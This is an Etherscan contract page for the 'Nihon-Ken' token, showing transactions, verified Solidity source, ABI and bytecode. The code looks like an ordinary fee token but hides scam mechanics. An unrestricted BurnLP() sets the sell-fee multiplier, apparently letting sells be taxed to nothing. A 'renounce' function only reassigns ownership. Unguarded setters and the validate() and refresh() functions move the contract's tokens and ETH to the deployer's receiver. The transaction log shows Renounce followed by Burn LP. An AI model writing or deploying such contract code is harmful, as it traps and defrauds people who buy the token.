ETH Price: $3,718.07 (+3.46%)

Contract

0xDf0D26A74Fa3fC598d55c20fac4BEd3E88B3e4Ec
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Validate209084292024-10-06 18:53:2355 days ago1728240803IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.000423067.31528487
Approve209083902024-10-06 18:45:3555 days ago1728240335IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.00035877.66637885
Approve209081772024-10-06 18:02:5955 days ago1728237779IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.000480610.20105095
Burn LP209081762024-10-06 18:02:4755 days ago1728237767IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.000256259.60607463
Approve209081632024-10-06 18:00:1155 days ago1728237611IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.000448759.52509228
Approve209080352024-10-06 17:34:3555 days ago1728236075IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.00043319.25651581
Renounce209049892024-10-06 7:22:1155 days ago1728199331IN
0xDf0D26A7...E88B3e4Ec
0 ETH0.000210194.58010973

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NIHONKEN

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-06
*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.22;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isGranted(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function renounce(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract NIHONKEN is IERC20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Nihon-Ken";
    string constant _symbol = "NihonKen";
    uint8 constant _decimals = 4;

    uint256 _totalSupply =  10000000000 * (10 ** _decimals);

    uint256 public _maxTxAmount = 10000000000 * (10 ** _decimals);
    uint256 public _maxWalletToken = 10000000000 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;

    uint256 public liquidityFee     = 0;
    uint256 public marketingFee     = 1;
    uint256 public projectFee       = 0;
    uint256 public utilityFee       = 0;
    uint256 public totalFee         = marketingFee + liquidityFee + projectFee + utilityFee;
    uint256 public feeDenominator   = 100;

    uint256 public burned  = 100;
    uint256 public buyMultiplier  = 100;
    uint256 public transferMultiplier  = 100;

    address private autoLiquidityReceiver;
    address private marketingFeeReceiver;
    address private projectFeeReceiver;
    address private utilityFeeReceiver;

    uint256 targetLiquidity = 30;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;

    bool public tradingOpen = true;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 250;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        isWalletLimitExempt[msg.sender] = true;
        
        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        projectFeeReceiver = msg.sender;
        utilityFeeReceiver = msg.sender; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

//Approve address transactions

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
        }

        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount, recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        
        uint256 multiplier = transferMultiplier;
        if(recipient == pair){
            multiplier = burned;
        } else if(sender == pair){
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        uint256 utilityTokens = feeAmount.mul(utilityFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(utilityTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[utilityFeeReceiver] = _balances[utilityFeeReceiver].add(utilityTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(utilityTokens > 0){
            emit Transfer(sender, utilityFeeReceiver, utilityTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHproject = amountETH.mul(projectFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(projectFeeReceiver).call{value: amountETHproject, gas: 30000}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    // Public function starts

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 10, "Max Wallet cannot be lower than 1% total supply.");
        _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 1, "Max Transaction cannot be lower than 0.1% total supply.");
        _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function refresh (uint256 amountPercentage) external  {
        uint256 amountETH = address(this).balance;
        payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
    }

    function validate(address tokenAddress, uint256 tokens) public returns (bool success) {
        return IERC20(tokenAddress).transfer(marketingFeeReceiver, tokens);
    }

    function BurnLP (uint256 Multiplier) external {
        burned = Multiplier;    
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _projectFeeReceiver, address _utilityFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        projectFeeReceiver = _projectFeeReceiver;
        utilityFeeReceiver = _utilityFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external  {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external  {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }


event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"Multiplier","type":"uint256"}],"name":"BurnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isGranted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"projectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"refresh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_projectFeeReceiver","type":"address"},{"internalType":"address","name":"_utilityFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"utilityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"validate","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600a620000ea91906200095d565b6402540be400620000fc9190620009ad565b6005556004600a6200010f91906200095d565b6402540be400620001219190620009ad565b6006556004600a6200013491906200095d565b6402540be400620001469190620009ad565b6007555f600d556001600e555f600f555f601055601054600f54600d54600e54620001729190620009f7565b6200017e9190620009f7565b6200018a9190620009f7565b6011556064601255606460135560646014556064601555601e601a556064601b556001601d60146101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff02191690831515021790555060fa600554620001f2919062000a5e565b601e5534801562000201575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d601c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000356573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200037c919062000afa565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401620003d992919062000b3b565b6020604051808303815f875af1158015620003f6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200041c919062000afa565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503360165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360195f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620007bd919062000b77565b60405180910390a362000b92565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000855578086048111156200082d576200082c620007cb565b5b60018516156200083d5780820291505b80810290506200084d85620007f8565b94506200080d565b94509492505050565b5f826200086f576001905062000941565b816200087e575f905062000941565b8160018114620008975760028114620008a257620008d8565b600191505062000941565b60ff841115620008b757620008b6620007cb565b5b8360020a915084821115620008d157620008d0620007cb565b5b5062000941565b5060208310610133831016604e8410600b8410161715620009125782820a9050838111156200090c576200090b620007cb565b5b62000941565b62000921848484600162000804565b925090508184048111156200093b576200093a620007cb565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620009698262000948565b9150620009768362000951565b9250620009a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200085e565b905092915050565b5f620009b98262000948565b9150620009c68362000948565b9250828202620009d68162000948565b91508282048414831517620009f057620009ef620007cb565b5b5092915050565b5f62000a038262000948565b915062000a108362000948565b925082820190508082111562000a2b5762000a2a620007cb565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000a6a8262000948565b915062000a778362000948565b92508262000a8a5762000a8962000a31565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ac48262000a99565b9050919050565b62000ad68162000ab8565b811462000ae1575f80fd5b50565b5f8151905062000af48162000acb565b92915050565b5f6020828403121562000b125762000b1162000a95565b5b5f62000b218482850162000ae4565b91505092915050565b62000b358162000ab8565b82525050565b5f60408201905062000b505f83018562000b2a565b62000b5f602083018462000b2a565b9392505050565b62000b718162000948565b82525050565b5f60208201905062000b8c5f83018462000b66565b92915050565b6133fd8062000ba05f395ff3fe608060405260043610610249575f3560e01c806370a0823111610138578063a5d73a96116100b5578063d58f2f2711610079578063d58f2f27146108b8578063dccd8bd2146108e2578063dd62ed3e1461090c578063df20fd4914610948578063f887ea4014610970578063ffb54a991461099a57610250565b8063a5d73a96146107c6578063a8aa1b31146107ee578063a9059cbb14610818578063bd9ab53714610854578063d51ed1c81461087c57610250565b806395d89b41116100fc57806395d89b41146106d257806398118cb4146106fc57806398be37861461072657806398e0ae14146107625780639c75dd351461079e57610250565b806370a08231146105ee57806373f425611461062a57806378109e54146106545780637d1db4a51461067e578063893d20e8146106a857610250565b806323b872dd116101c65780633c8e556d1161018a5780633c8e556d1461050c578063571ac8b0146105345780635921652f146105705780636b67c4df1461059a5780636ddd1713146105c457610250565b806323b872dd146104165780632b112e49146104525780632f54bf6e1461047c5780633121c7c0146104b8578063313ce567146104e257610250565b8063180b0d7e1161020d578063180b0d7e1461034857806318160ddd146103725780631df4ccfc1461039c5780631f76a7af146103c6578063201e7991146103ee57610250565b80630445b6671461025457806306fdde031461027e57806309302dc6146102a8578063095ea7b3146102d05780631161ae391461030c57610250565b3661025057005b5f80fd5b34801561025f575f80fd5b506102686109c4565b6040516102759190612768565b60405180910390f35b348015610289575f80fd5b506102926109ca565b60405161029f919061280b565b60405180910390f35b3480156102b3575f80fd5b506102ce60048036038101906102c99190612859565b610a07565b005b3480156102db575f80fd5b506102f660048036038101906102f191906128de565b610ab7565b6040516103039190612936565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d919061294f565b610ba4565b60405161033f9190612936565b60405180910390f35b348015610353575f80fd5b5061035c610bb8565b6040516103699190612768565b60405180910390f35b34801561037d575f80fd5b50610386610bbe565b6040516103939190612768565b60405180910390f35b3480156103a7575f80fd5b506103b0610bc7565b6040516103bd9190612768565b60405180910390f35b3480156103d1575f80fd5b506103ec60048036038101906103e791906129c8565b610bcd565b005b3480156103f9575f80fd5b50610414600480360381019061040f919061294f565b610ce2565b005b348015610421575f80fd5b5061043c600480360381019061043791906129f3565b610cf4565b6040516104499190612936565b60405180910390f35b34801561045d575f80fd5b50610466610ee7565b6040516104739190612768565b60405180910390f35b348015610487575f80fd5b506104a2600480360381019061049d9190612a43565b610f66565b6040516104af9190612936565b60405180910390f35b3480156104c3575f80fd5b506104cc610fbd565b6040516104d99190612768565b60405180910390f35b3480156104ed575f80fd5b506104f6610fc3565b6040516105039190612a89565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190612aa2565b610fcb565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612a43565b611119565b6040516105679190612936565b60405180910390f35b34801561057b575f80fd5b5061058461114b565b6040516105919190612768565b60405180910390f35b3480156105a5575f80fd5b506105ae611151565b6040516105bb9190612768565b60405180910390f35b3480156105cf575f80fd5b506105d8611157565b6040516105e59190612936565b60405180910390f35b3480156105f9575f80fd5b50610614600480360381019061060f9190612a43565b61116a565b6040516106219190612768565b60405180910390f35b348015610635575f80fd5b5061063e6111b0565b60405161064b9190612768565b60405180910390f35b34801561065f575f80fd5b506106686111b6565b6040516106759190612768565b60405180910390f35b348015610689575f80fd5b506106926111bc565b60405161069f9190612768565b60405180910390f35b3480156106b3575f80fd5b506106bc6111c2565b6040516106c99190612b15565b60405180910390f35b3480156106dd575f80fd5b506106e66111e9565b6040516106f3919061280b565b60405180910390f35b348015610707575f80fd5b50610710611226565b60405161071d9190612768565b60405180910390f35b348015610731575f80fd5b5061074c60048036038101906107479190612a43565b61122c565b6040516107599190612936565b60405180910390f35b34801561076d575f80fd5b50610788600480360381019061078391906128de565b61127e565b6040516107959190612936565b60405180910390f35b3480156107a9575f80fd5b506107c460048036038101906107bf9190612859565b611323565b005b3480156107d1575f80fd5b506107ec60048036038101906107e79190612859565b6113a7565b005b3480156107f9575f80fd5b506108026113b1565b60405161080f9190612b15565b60405180910390f35b348015610823575f80fd5b5061083e600480360381019061083991906128de565b6113d6565b60405161084b9190612936565b60405180910390f35b348015